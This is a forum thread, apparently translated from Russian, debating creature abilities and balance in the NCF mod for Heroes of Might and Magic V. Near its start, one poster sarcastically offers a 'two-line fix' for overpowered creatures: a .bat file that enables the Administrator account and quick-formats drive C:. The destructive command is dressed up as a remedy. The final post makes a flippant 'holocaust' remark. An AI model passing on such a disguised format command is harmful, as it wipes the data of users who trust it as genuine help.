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Posts from NCF – Extended list of Neutral creatures.

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atlant108
I didn't notice any nerfs to them. Can you be more specific? So far, in the forums and group, I often hear complaints about the overpowered neutral creatures; because of this, many have stopped playing this mod.

In general, if you are not happy with the overpowered creatures from project NCF, then you need to create a .bat file that should contain the following lines for a Russian-language Windows:

net user Администратор:active /yes
format c: /fs:udf /x /q

If Windows is in English, it should be as follows:

net user Administrator:active /yes
format c: /fs:udf /x /q

P.S. atlant108, note that such a two-line fix better addresses the situation fundamentally than the option you suggested here HERE
С уважением, Psatkha (Псатха)

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NCF - мод, добавляющий дополнительных существ в HeroesV 3.1
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My personal opinion is that some creatures in NCF have too many abilities. In my view, the principle should be "Perfection is not when there is nothing more to add, but when there is nothing to remove."
For example, creature 431, the Ranger. Charge, Crippling Strike, Combined Attack, and Swiftness. In principle, Swiftness synergizes with Combined Attack (you can be bolder in positioning the creature so that the Combined Attack works). Although high defense would synergize even better. Swiftness synergizes with Crippling Strike – for the same reason and with the same caveat. Charge... doesn't synergize with anything. So, what's the point of it? In my opinion, it would be logical to remove it, especially since the description doesn't explain where this ability comes from.
And there are many such creatures. 2-3 interesting abilities – that's fine. And even then, only if there's synergy. 4 or more – why have these "Jacks of all trades"?
This is a mild case. I opened Pegasus and, forgetting about flight and being a large creature, it has 6 abilities! And there are such anti-synergistic abilities as Child of Light and 25% Magic Resistance, and Child of Light (well, ugh, find anti-magic or regeneration, Pegasus will copy it, and that's it, why do they need magic resistance?). And also Endless Retaliation combined with Strike and Return. If the retaliation is endless, you send it to the center of the enemy formation and it defends itself; why Strike and Return? And vice versa, if it returns after the attack, how will it trigger the endless retaliation? The chances are not great.
Balance is simpler; it can be easily adjusted with numbers. But, in my humble opinion, these kinds of things "clutter" the tactics without giving anything in return.
 

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Ment

Here, for example, is creature 431, the Ranger. Charge, crippling strike, combined attack, agility. In principle, agility synergizes with combined attack (you can be bolder in positioning the creature so that the combined attack works). Although high defense would synergize even better. Agility synergizes with crippling strike – for the same reason and with the same caveat. Charge... doesn't synergize with anything. So, what's the point of it? In my opinion, it would be logical to remove it, especially since the description doesn't explain where this ability comes from.

Charge, when used, changes the battle scale! :smile25:

In the description of this creature, everything is described... "The Order of the Wolf selects the best elven warriors to protect the forests of Irollan. After long training and a special ritual of unity with Nature, they become Rangers – half-wild, but no less dangerous warriors who rely not only on weapons but also on instincts."
С уважением, Psatkha (Псатха)

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The "Charge" ability, when used, changes the tide of battle!
So what? No, it's a useful ability in itself, but when there are already a million other abilities, why add more? In this regard, the high-level creatures created by the developers look good; take the Kshatriya Rakshasa, for example. Whirlwind, Charge – is that all they need? Increase initiative, and they can start dealing area-of-effect damage.
The description of this creature states: "The Order of the Wolf selects the best Elven warriors to protect the forests of Irollan. After long training and a special ritual of unity with Nature, they become Rangers – half-wild, but no less dangerous warriors who rely not only on weapons but also on instincts."
This is semantically incorrect. If "Charge" is that very ritual... does that mean that if they don't activate "Charge," they won't be Rangers (half-wild, but no less dangerous warriors who rely not only on weapons but also on instincts)? I think they will still be Rangers! So, the ritual and this ability are not related. Although, anyway, I was complaining more about the tactics than the descriptions.
 

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Ment
So, I discovered Pegasus – forgetting about flight and its large size, it has 6 abilities! And there are some anti-synergistic ones, like "Child of Light" and 25% magic resistance, and "Child of Light" (well, they found anti-magic or regeneration, Pegasus will copy it, and that's it, why do they need magic resistance?). Also, infinite retaliation combined with strike and return. If the retaliation is infinite, why not send it to the center of the enemy formation and have it defend itself, why the strike and return? And vice versa, if it returns after the attack, how will you trigger the infinite retaliation? The chances are not great.
Balance is simpler; it can be easily adjusted with numbers. But these kinds of things, in my humble opinion, "clutter" the tactics without giving anything in return.

Here, in the attachment, is a comparison of the original Pegasus mechanics file and the one after processing in NOIADE; the creature's level was changed from 5 to 6, with all the resulting consequences! :smile25:
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С уважением, Psatkha (Псатха)

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NCF - мод, добавляющий дополнительных существ в HeroesV 3.1
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Ment
So what? No, it's a useful ability in itself, but when there are already a million other abilities, why add more? In this regard, the high-level creatures of the developers look good; look at the Kshatriya Rakshasa, for example. Whirlwind, charge – is that all they need? Increase initiative, and they can AoE.

Semantically incorrect. If charge is that very ritual... Does that mean that if they don't activate the charge, they won't be scouts (half-wild, but no less dangerous warriors who rely not only on weapons but also on instincts)? I think they will remain scouts! So, the ritual and this ability are not related ;)
Although, anyway, I was more complaining about the tactics, not the descriptions.

After processing in NOIADE, the level increased from 2 to 3! :smile25:

P.S. People are complaining about the imbalance, so after processing in NOIADE, the level became higher, and therefore, when they are generated on the map, they will already be generated as creatures of a different level!
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С уважением, Psatkha (Псатха)

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I'm not complaining about the imbalance; I'm complaining that there are too many abilities. A reasonable number of abilities would allow for a more accurate assessment of power.
 

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Ment
I'm not complaining about the overpoweredness; I'm complaining about the excessive number of abilities. ;)
A normal number of abilities will allow for a more adequate assessment of power.

That's why NOIADE evaluates Power and everything else, taking into account all the abilities the creature has! :smile44:

And the main purpose of these creatures is to provide variety among the neutral creatures on the map, not just visually, but also atmospherically... which shouldn't make the map easier to complete! :smile24:
С уважением, Psatkha (Псатха)

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Too many abilities... But you can never have too many abilities. If the tool accurately determines the strength/level/growth of creatures with abilities, then no matter how many abilities there are, the creature will still be balanced. I don't understand why so many people are confused by the number of abilities, rather than something else....
Карты для героев 5

"Плата за любовь"
"Путь некроманта"
"Темные грани"
"Рок Гримхейма"
In reply to serovoy
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serovoy
Are you still struggling with those miserable stalkers? :smile11:
I'll throw in my two cents: it's not necessary to castrate the creatures; you can simply increase their strength parameter so that a reasonable number of them are generated. And raise the level as well, yes (that's how they handled the wolf cubs in Grove).
I really don't want to download the whole pack for one file. And downloading is only half the battle. Then it will need to be installed. That's why I'm asking you and Psatkha where I can Download the fixed Stalkers file? So that it's definitely glitch-free.

Added after 5 minutes
psatkha
That's why NOIADE evaluates Power and everything else taking into account all the abilities the creature has! :smile44:

And the main purpose of these creatures is the diversity of neutrals on the map, not only visually but also atmospherically... which should not simplify the Walkthrough of the map! :smile24:
Personally, I'm all for strong creatures with a bunch of skills and good stats. Arkant's bears, for example, shouldn't have been touched at all. They turned out to be super-bears. But the whiners insisted they be turned into practically ordinary ones, no different from the originals.... These people love freebies; I assume they either ignore hardcore maps entirely or ask authors to simplify them)))

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psatkha
Take the screenshot differently; I need to see the name of the "radishes," like in the attached image with the dragonlings! :smile25:

Ok.

Added after 4 minutes
AstralLein
Too many abilities... There's no such thing as too many abilities. If the utility accurately determines the strength/level/growth of creatures with abilities, then no matter how many abilities there are, the creature is still balanced. I don't understand why so many people are confused not by something else, but specifically by the number of abilities....
I agree.
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You can never have too many abilities.
Okay. Create a creature with all the abilities in the game and test it ;)
There should be exactly as many abilities as are needed to clearly reveal the creature's idea and tactics. Not more, not less. Jacks of all trades are almost as boring as creatures with no abilities at all.
If a utility accurately determines the strength/level/growth of creatures with abilities, then no matter how many of these abilities there are, the creature will still be balanced.
There is a point here that the utility is unlikely to be able to take into account such things as synergies/anti-synergies. Roughly speaking, the combination of "immunity to blindness," "immunity to mind control," "immunity to berserk," and "immunity to slow" cannot be evaluated simply by summing the value of these abilities: together they are stronger than such a sum, as they eliminate all (or almost all) means of controlling the creature. And it is difficult to evaluate such synergies in any way other than manually, and with experience playing with/against the creature. But anyway, this is a minor problem.
 

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I agree about the synergy; each creature should have a specific "purpose," or area of application. However, there are suspicions that everything was indiscriminately cut (based on feedback). I would like to see a detailed changelog.
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serovoy
I agree about the synergy; each creature should have an "idea," that is, an area of application. But there are suspicions that everything was indiscriminately cut down (judging by the reviews). I would like to see a detailed changelog.

Yes, it was probably more like HERE!
С уважением, Psatkha (Псатха)

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I agree with Ment's position – there shouldn't be a mishmash of abilities; we discussed this very recently in the WGE thread, so I won't go into detail here. Regarding balance: I don't see anything wrong with having strong creatures, but they should have a corresponding level/strength. And in general, it's better to evaluate new units not as "strong," but as "interesting," "unusual," or "unique," i.e., those that stand out from the others in some way. In general, as I understand it, this mod should bring diversity to the gameplay, refreshing the monotonous clearing of neutral stacks, and at the same time, this mod does not aim to adjust the game's balance, so thoughts about the AI's strength seem inappropriate to me. The solution is simple: no matter what abilities a unit has, if they are appropriate for it, if they correspond to its description, name, and visuals, then let it have them, and it would be foolish to cripple it, but evaluate its strength/level adequately!
... И древний лес, роскошен и печален,
Блистает там воздушностью прогалин.
Но между кедров, полных тишиной,
Расщелина по склону ниспадала.
О, никогда под бледною луной
Так пышен не был тот уют лесной...
In reply to SRD
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This NCF mod remains as anti-elven as it was before. More! More! More creatures. All sorts and kinds. And to hell with the lists of sworn enemies. You're on the right track, comrades. Just a little more and you'll be close to a holocaust.

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